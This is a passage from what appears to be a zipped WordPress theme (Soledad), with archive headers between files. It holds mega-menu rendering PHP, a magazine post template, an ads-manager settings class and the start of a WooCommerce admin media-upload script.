			if ( '2' == $row ) {
				$col     = 'col-mn-7 mega-row-2';
				$numbers = 14;
				if ( $has_slide || $new_style ) {
					$col     = 'col-mn-6 mega-row-2';
					$numbers = 12;
				}

			} elseif ( '3' == $row ) {
				$col     = 'col-mn-7 mega-row-3';
				$numbers = 21;
				if ( $has_slide || $new_style ) {
					$col     = 'col-mn-6 mega-row-3';
					$numbers = 18;
				}

			}

		}

		if ( $position == 'side' && $style == 4 && $has_slide ) {
			$numbers = $numbers - (int) $row;
		}

		if ( $style == 5 ) {
			$numbers = $numbers + (int) $row;
		}

		$class_content = ' pcmis-' . $style;

		ob_start();
		?>
		<?php if ( $has_slide ): ?>
            <div class="penci-mega-child-categories pcmit-<?php echo esc_attr( $position ); ?>">
				<?php
				$i = 1;
				foreach ( $list_cats as $child_name => $child_id ):
					echo '<a class="mega-cat-child';
					if ( ( $menu_style != 'menu-style-2' && $i == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $i == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_id == $catID ) ) ) ):
						echo ' cat-active';
					endif;
					if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_id == $catID ):
						echo ' all-style';
					endif;
					echo '" href="' . esc_url( get_category_link( $child_id ) ) . '" data-id="penci-mega-' . esc_attr( $child_id ) . '"><span>' . sanitize_text_field( $child_name ) . '</span></a>';
					$i ++;
				endforeach;
				echo $sub_menu_list_html;
				?>
            </div>
		<?php endif; ?>

        <div class="penci-content-megamenu<?php echo $class_content; ?>">
            <div class="penci-mega-latest-posts                                                <?php echo esc_attr( $col ); ?>">
				<?php $j = 1;
				if ( ! empty( $new_list_cat ) ) {
					$list_cats = array_merge( $list_cats, $new_list_cat );
				}

				foreach ( $list_cats as $cat_name => $cat_id ): ?>
                    <div class="penci-mega-row penci-mega-<?php echo esc_attr( $cat_id ); ?><?php if ( ( $menu_style != 'menu-style-2' && $j == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $j == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $cat_id == $catID ) ) ) ): echo ' row-active';endif; ?>">
						<?php
						$thumbsize = 'penci-thumb-small';
						if ( '1400' == $header_container ) {
							$thumbsize = 'penci-thumb';
						}

						$customize_data = get_theme_mod( 'penci_mega_featured_image_size' );
						if ( 'square' == $customize_data ) {
							$thumbsize = 'penci-thumb-square';
						} elseif ( 'vertical' == $customize_data ) {
							$thumbsize = 'penci-thumb-vertical';
						}

						if ( $style == 5 ) {
							$thumbsize = 'penci-masonry-thumb';
						}

						if ( $style == 2 || $style == 4 ) {
							$thumbsize = 'penci-thumb-square';
						}

						$attr        = [
							'post_type'   => 'post',
							'showposts'   => $numbers,
							'post_status' => 'publish',
							'tax_query'   => [
								[
									'taxonomy' => 'category',
									'field'    => 'term_id',
									'terms'    => (int) $cat_id,
								],
							],
						];
						$latest_mega = new WP_Query( $attr );
						if ( $latest_mega->have_posts() ):
							while ( $latest_mega->have_posts() ): $latest_mega->the_post();

								$category = get_the_category( get_the_ID() );
								?>
                                <div class="penci-mega-post">
                                    <div class="penci-mega-post-inner">

                                        <div class="penci-mega-thumbnail">
											<?php
											do_action( 'penci_bookmark_post', get_the_ID(), 'small' );

											/* Display Review Piechart  */
											if ( function_exists( 'penci_display_piechart_review_html' ) ) {
												penci_display_piechart_review_html( get_the_ID(), 'small' );
											}

											?>
											<?php if ( ! get_theme_mod( 'penci_topbar_mega_category' ) ): ?>
                                                <span class="mega-cat-name">
												<?php if ( $numbers == 5 || $numbers == 10 || $numbers == 15 ) { ?>
                                                    <a href="<?php echo esc_url( get_category_link( $cat_id ) ); ?>">
														<?php echo sanitize_text_field( get_cat_name( $cat_id ) ); ?>
													</a>
												<?php } else { ?>
													<?php if ( $j == 1 && ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) ) {
														echo '<a href="' . esc_url( get_category_link( $category[0]->term_id ) ) . '">';
														echo sanitize_text_field( $category[0]->cat_name );
														echo '</a>';
													} else {
														echo '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">';
														echo sanitize_text_field( get_cat_name( $cat_id ) );
														echo '</a>';
													}
													?>
												<?php }
												?>
											</span>
											<?php endif; ?>
                                            <a<?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbsize ), ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?>
                                                    class="<?php echo penci_layout_bg_class( ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?> penci-image-holder"
                                                    href="<?php the_permalink(); ?>"
                                                    title="<?php echo esc_attr( wp_strip_all_tags( get_the_title() ) ); ?>">
												<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbsize ), get_the_title(), ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?>
												<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_topbar_mega_icons' ) ): ?>
													<?php if ( has_post_format( 'video' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-play' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-music' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-link' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ): ?>
														<?php penci_fawesome_icon( 'far fa-image' ); ?>
													<?php endif; ?>
												<?php endif; ?>
                                            </a>
                                        </div>
                                        <div class="penci-mega-meta">
                                            <div class="post-mega-title">
                                                <a href="<?php the_permalink(); ?>"
                                                   title="<?php echo esc_attr( wp_strip_all_tags( get_the_title() ) ); ?>"><?php echo sanitize_text_field( wp_trim_words( wp_strip_all_tags( get_the_title() ), $mega_title_length, '...' ) ); ?></a>
                                            </div>
											<?php if ( ! get_theme_mod( 'penci_topbar_mega_date' ) ): ?>
                                                <p class="penci-mega-date"><?php penci_soledad_time_link(); ?></p>
											<?php endif; ?>
                                        </div>
                                    </div>
                                </div>
							<?php endwhile;
							wp_reset_postdata();
						endif;
						?>
                    </div>
					<?php $j ++;endforeach; ?>
            </div>
        </div>

		<?php
		return ob_get_clean();
	}

}

if ( ! function_exists( 'penci_return_html_block_menu' ) ) {
	function penci_return_html_block_menu( $mega_block_id, $menuid ) {

		$css        = $css_out = $content = '';
		$css_prefix = '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu,
		.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu';

		// mega menu style
		$penci_menu_bgimg = get_post_meta( $menuid, 'penci_menu_bgimg', true );
		$penci_menu_mw    = get_post_meta( $menuid, 'penci_menu_mw', true );
		$penci_menu_mh    = get_post_meta( $menuid, 'penci_menu_mh', true );
		$penci_menu_bgcl  = get_post_meta( $menuid, 'penci_menu_bgcl', true );
		$penci_menu_load  = get_post_meta( $menuid, 'penci_menu_load', true );

		if ( $penci_menu_bgimg || $penci_menu_bgcl || $penci_menu_mh || $penci_menu_mw ) {

			if ( $penci_menu_bgimg ) {
				$css .= 'background-image:url(' . esc_url( wp_get_attachment_image_url( $penci_menu_bgimg, 'full' ) ) . ');';
			}

			if ( $penci_menu_bgcl ) {
				$css .= 'background-color:' . $penci_menu_bgcl . ';';
			}

			$css_out .= '<style>';

			if ( $penci_menu_bgimg || $penci_menu_bgcl ) {
				$css_out .= $css_prefix . '{' . $css . '}';
			}

			if ( $penci_menu_mh ) {
				$penci_menu_mh = is_numeric( $penci_menu_mh ) ? $penci_menu_mh . 'px' : $penci_menu_mh;
				$css_out       .= '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu,
							.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu{min-height:' . $penci_menu_mh . ';}';
			}

			if ( $penci_menu_mw && $penci_menu_mw != 'full' ) {
				$penci_menu_mw = is_numeric( $penci_menu_mw ) ? $penci_menu_mw . 'px' : $penci_menu_mw;

				if ( strpos( $penci_menu_mw, '%' ) !== false ) {
					$penci_menu_mw_percent = ( (int) str_replace( '%', '', $penci_menu_mw ) ) / 100;
					$penci_menu_mw         = 'calc(var(--pcctain) * ' . $penci_menu_mw_percent . ')';
				}

				$css_out .= '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-mega-custom-width,.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-mega-custom-width{width:' . $penci_menu_mw . ';}';
			}

			$css_out .= '</style>';
		}

		$mega_block_id = get_page_by_path( $mega_block_id, OBJECT, 'penci-block' );
		$mega_block_id = isset( $mega_block_id->ID ) && $mega_block_id->ID ? $mega_block_id->ID : '';

		// mega menu content
		if ( $mega_block_id ) {
			$content = '<div data-blockid="' . $mega_block_id . '" class="penci-mega-content-container penci-mega-content-' . $menuid . '">';
			if ( defined( 'ELEMENTOR_VERSION' ) ) {
				wp_enqueue_style( 'elementor-frontend' );
			}

			if ( defined( 'WPB_VC_VERSION' ) ) {
				wp_enqueue_style( 'js_composer_front' );
			}

			do_action( 'soledad_megamenu_loaded' );
			wp_enqueue_script( 'penci_megamenu' );
			if ( 'yes' !== $penci_menu_load ) {

				$mega_block_content = get_post( $mega_block_id );

				if ( $mega_block_content ) {

					if ( did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $mega_block_id )->is_built_with_elementor() ) {
						$content .= penci_get_elementor_content( $mega_block_id );
					} else {
						$content .= do_shortcode( $mega_block_content->post_content );

						$shortcodes_custom_css = get_post_meta( $mega_block_id, '_wpb_shortcodes_custom_css', true );

						$content .= '<style data-type="vc_shortcodes-custom-css">';
						if ( ! empty( $shortcodes_custom_css ) ) {
							$content .= $shortcodes_custom_css;
						}

						$content .= '</style>';
					}

				}

				$content .= '</div>';
			} else {
				if ( did_action( 'elementor/frontend/before_register_scripts' ) ) {
					wp_enqueue_script( 'jquery.plugin' );
					wp_enqueue_script( 'countdown' );
					wp_enqueue_script( 'waypoints' );
					wp_enqueue_script( 'jquery-counterup' );
				}

				if ( defined( 'WPB_VC_VERSION' ) ) {
					wp_enqueue_script( 'wpb_composer_front_js' );
				}

			}

		}

		return $css_out . $content;
	}

}
PK     N\u       inc/modules/magazine-style-1.phpnu [        <?php
/**
 * Template display for featured category style 1
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                            penci_coauthors_posts_links();
	                            else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                            <?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div class="mag-excerpt entry-content">
					<?php 
					if( get_theme_mod( 'penci_excerptcharac' ) ){
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\?}L&=  &=    inc/ad_settings.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_Ad_Settings' ) ) :
	class Penci_Ad_Settings {

		static $list_panel = array(
			'header'         => 'Header',
			'homepage'       => 'Homepage',
			'featuredslider' => 'Featured Slider',
			'archive'        => 'Archive Pages',
			'single'         => 'Single Posts',
			'fltad'    		 => 'Float Banner Left/Right',
			'footer'         => 'Footer',
		);

		public function __construct() {
			add_filter( 'mb_settings_pages', array( $this, 'settings_pages' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'header_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'homepage_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'featured_slider_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'single_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'archive_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'footer_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'floatads_option' ) );
			add_action( 'init', array( $this, 'mobile_ads' ) );
		}

		function settings_pages( $settings_pages ) {
			$list_social_media = self::$list_panel;
			$theme_slug        = get_option( 'stylesheet' );

			$settings_pages[] = array(
				'id'          => 'penci_ad_settings',
				'option_name' => 'theme_mods_' . $theme_slug,
				'menu_title'  => 'Ads Manager',
				'parent'      => 'soledad_dashboard_welcome',
				'style'       => 'no-boxes',
				'tab_style'   => 'left',
				'class'       => 'penci_ad_settings',
				'columns'     => 1,
				'tabs'        => $list_social_media,
			);

			return $settings_pages;
		}

		function header_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'header',
				'title'          => 'Header Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'header',

				'fields' => array(
					array(
						'id'                => 'penci_header_3_adsense',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Google adsense/custom HTML code to display in header 3', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
					),
					array(
						'id'   => 'penci_header_3_banner',
						'type' => 'file_input',
						'name' => esc_html__( 'Banner Header Right For Header 3', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'   => 'penci_header_3_banner_url',
						'type' => 'url',
						'name' => esc_html__( 'Link To Go When Click on Banner of Header 3 ', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'                => 'penci_custom_code_inside_head_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code Inside <head> tag', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
					),
					array(
						'id'                => 'penci_custom_code_after_body_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code After <body> tag', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
						'mobile'            => true,
					),
					array(
						'id'                => 'penci_custom_code_after_header_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code After Header Wrap', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
						'mobile'            => true,
					),
				),
			);

			return $meta_boxes;
		}

		function homepage_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'homepage',
				'title'          => 'Homepage Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'homepage',

				'fields' => array(
					array(
						'id'   => 'penci_homepage_desc',
						'type' => 'custom_html',
						'std'  => __( 'The options here just apply when you use Customizer to set up the homepage - check more all ways to set up the homepage <a href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>', 'soledad' ),
					),
					array(
						'id'   => 'penci_infeedads_home_num',
						'type' => 'number',
						'name' => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
						'std'  => '3',
					),
					array(
						'id'                => 'penci_infeedads_home_code',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'In-feed Ads Code/HTML', 'soledad' ),
						'desc'              => esc_html__( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
					),
					array(
						'id'      => 'penci_infeedads_home_layout',
						'type'    => 'select',
						'name'    => esc_html__( 'In-feed Ads Layout Type', 'soledad' ),
						'options' => array(
							''     => esc_html__( 'Follow Current Layout', 'soledad' ),
							'full' => esc_html__( 'Full Width', 'soledad' ),
						),
					),
				),
			);

			return $meta_boxes;
		}

		function featured_slider_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'featuredslider',
				'title'          => 'Featured Slider Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'featuredslider',

				'fields' => array(
					array(
						'id'   => 'penci_featureslider_desc',
						'type' => 'custom_html',
						'std'  => __( 'The options here just apply when you use Customizer to set up the homepage - check more all ways to set up the homepage <a href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>', 'soledad' ),
					),
					array(
						'id'                => 'penci_home_adsense_below_slider',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML Code Below Featured Slider ', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function single_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'single',
				'title'          => 'Single Posts Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'single',
				'fields'         => array(
					array(
						'id'                => 'penci_ads_inside_content_html',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content', 'soledad' ),
					),
					array(
						'id'      => 'penci_ads_inside_content_style',
						'type'    => 'select',
						'name'    => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content With:', 'soledad' ),
						'options' => array(
							'style-1' => __( 'After Each X Paragraphs - Repeat', 'soledad' ),
							'style-2' => __( 'After X Paragraphs - No Repeat', 'soledad' ),
						),
					),
					array(
						'id'   => 'penci_ads_inside_content_num',
						'type' => 'number',
						'name' => esc_html__( 'Add Ads/Custom HTML Code Inside Posts Content After How Many Paragraphs?', 'soledad' ),
						'std'  => 4,
					),
					array(
						'id'                => 'penci_post_adsense_single10',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code For Post Template Style 10', 'soledad' ),
					),
					array(
						'id'                => 'penci_post_adsense_one',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code below post description', 'soledad' ),
					),
					array(
						'id'                => 'penci_post_adsense_two',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code at the end of content posts', 'soledad' ),
					),
					array(
						'desc'              => __( 'If you use Google Ads here, please use normal Google Ads here - don\'t use Google Auto Ads to get it appears in the correct place.', 'soledad' ),
						'id'                => 'penci_loadnp_ads',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML code Between Posts When Activate The Infinity Scrolling Load Posts', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function footer_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'footer',
				'title'          => 'Footer Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'footer',

				'fields' => array(
					array(
						'id'                => 'penci_footer_adsense',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Google Adsense/Custom HTML Code Above Footer', 'soledad' ),
					),
					array(
						'id'                => 'penci_footer_analytics',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Add Custom HTML code before close </body> tag / Google Analytics Code', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function archive_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'archive',
				'title'          => 'Archive Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'archive',
				'fields'         => array(
					array(
						'id'                => 'penci_arcf_adbelow',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code Display Below Featured Posts', 'soledad' ),
					),
					array(
						'id'                => 'penci_archive_ad_above',
						'desc'              => 'You can display google adsense/custom HTML code above posts on category, tags, search, archive page by use this option',
						'type'              => 'textarea',
						'mobile'            => true,
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive Pages ', 'soledad' ),
					),
					array(
						'id'                => 'penci_archive_ad_below',
						'desc'              => 'You can display google adsense/custom HTML code above posts on category, tags, search, archive page by use this option',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'Google Adsense/Custom HTML Code to Display Below Posts Layout for Archive Pages', 'soledad' ),
					),
					array(
						'id'   => 'penci_infeedads_archi_num',
						'type' => 'number',
						'name' => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
					),
					array(
						'id'                => 'penci_infeedads_archi_code',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'desc'              => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
						'name'              => esc_html__( 'In-feed Ads Code/HTML', 'soledad' ),
					),
					array(
						'id'      => 'penci_infeedads_archi_layout',
						'type'    => 'select',
						'options' => array(
							''     => __( 'Follow Current Layout', 'soledad' ),
							'full' => __( 'Full Width', 'soledad' ),
						),
						'desc'    => __( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
						'name'    => esc_html__( 'In-feed Ads Layout Type', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function floatads_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'fltad',
				'title'          => 'Floating Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'fltad',
				'fields'         => array(
					array(
						'id'                => 'penci_floatads_enable',
						'type'              => 'switch',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Float Left Right Ads', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_always_center',
						'type'              => 'switch',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Force Display Center in Vertical', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_mtop',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Margin Top', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_scroll_mtop',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Margin Top on Scroll', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_banner_left',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Left', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_banner_right',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Right', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_width',
						'type'              => 'number',
						'default'           => '200',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Width', 'soledad' ),
					),
					array(
						'id'                => 'penci_floatads_height',
						'type'              => 'number',
						'sanitize_callback' => 'none',
						'name'              => esc_html__( 'Banner Height', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function mobile_ads() {
			$list_mods = [
				'penci_custom_code_after_body_tag',
				'penci_custom_code_after_header_tag',
				'penci_infeedads_home_code',
				'penci_home_adsense_below_slider',
				'penci_ads_inside_content_html',
				'penci_post_adsense_single10',
				'penci_post_adsense_one',
				'penci_post_adsense_two',
				'penci_loadnp_ads',
				'penci_footer_adsense',
				'penci_footer_analytics',
				'penci_arcf_adbelow',
				'penci_archive_ad_above',
				'penci_archive_ad_below',
				'penci_infeedads_archi_code'
			];
			foreach ( $list_mods as $index => $mod ) {
				add_filter( 'theme_mod_' . $mod, function ( $value ) use ( $mod ) {

					if ( penci_is_mobile() ) {
						$mobile_value = get_theme_mod( $mod . '_mobile' );
						$value        = $mobile_value ? $mobile_value : $value;
					}

					if ( is_page() && 'disable' == get_post_meta( get_the_ID(), 'penci_page_dis_ads', true ) ) {
						$value = '';
					}

					return $value;
				} );
			}
		}
	}

	new Penci_Ad_Settings();
endif;
PK     N\=/N  N  !  inc/woocommerce/js/penci-admin.jsnu [        var frame,
    penci = penci || {};

jQuery(document).ready(function ($) {
    'use strict';
    var wp = window.wp,
        $body = $('body');

    $('#term-color').wpColorPicker();

    // Update attribute image
    $body.on('click', '.penci-upload-image-button', function (event) {
        event.preventDefault();

        var $button = $(this);

        // If the media frame already exists, reopen it.
        if (frame) {
            frame.open();
            return;
        }

        // Create the media frame.
        frame = wp.media.frames.downloadable_file = wp.media({
            title: penci.i18n.mediaTitle,
            button: {
                text: penci.i18n.mediaButton
            },
            multiple: false
        });

        // When an image is selected, run a callback.
        frame.on('select', function () {
            var attachment = frame.state().get('selection').first().toJSON();

            $button.siblings('input.penci-term-image').val(attachment.id);
            $button.siblings('.penci-remove-image-button').show();
            $button.parent().prev('.penci-term-image-thumbnail').find('img').attr('src', attachment.sizes.thumbnail.url);
        });

        // Finally, open the modal.
        frame.open();

    }).on('click', '.penci-remove-image-button', function () {
        var $button = $(this);

        $button.siblings('input.penci-term-image').val('');
        $button.siblings('.penci-remove-image-button').show();
        $button.parent().prev('.penci-term-image-thumbnail').find('img').attr('src', penci.placeholder);

        return false;
    });

    // Toggle add new attribute term modal
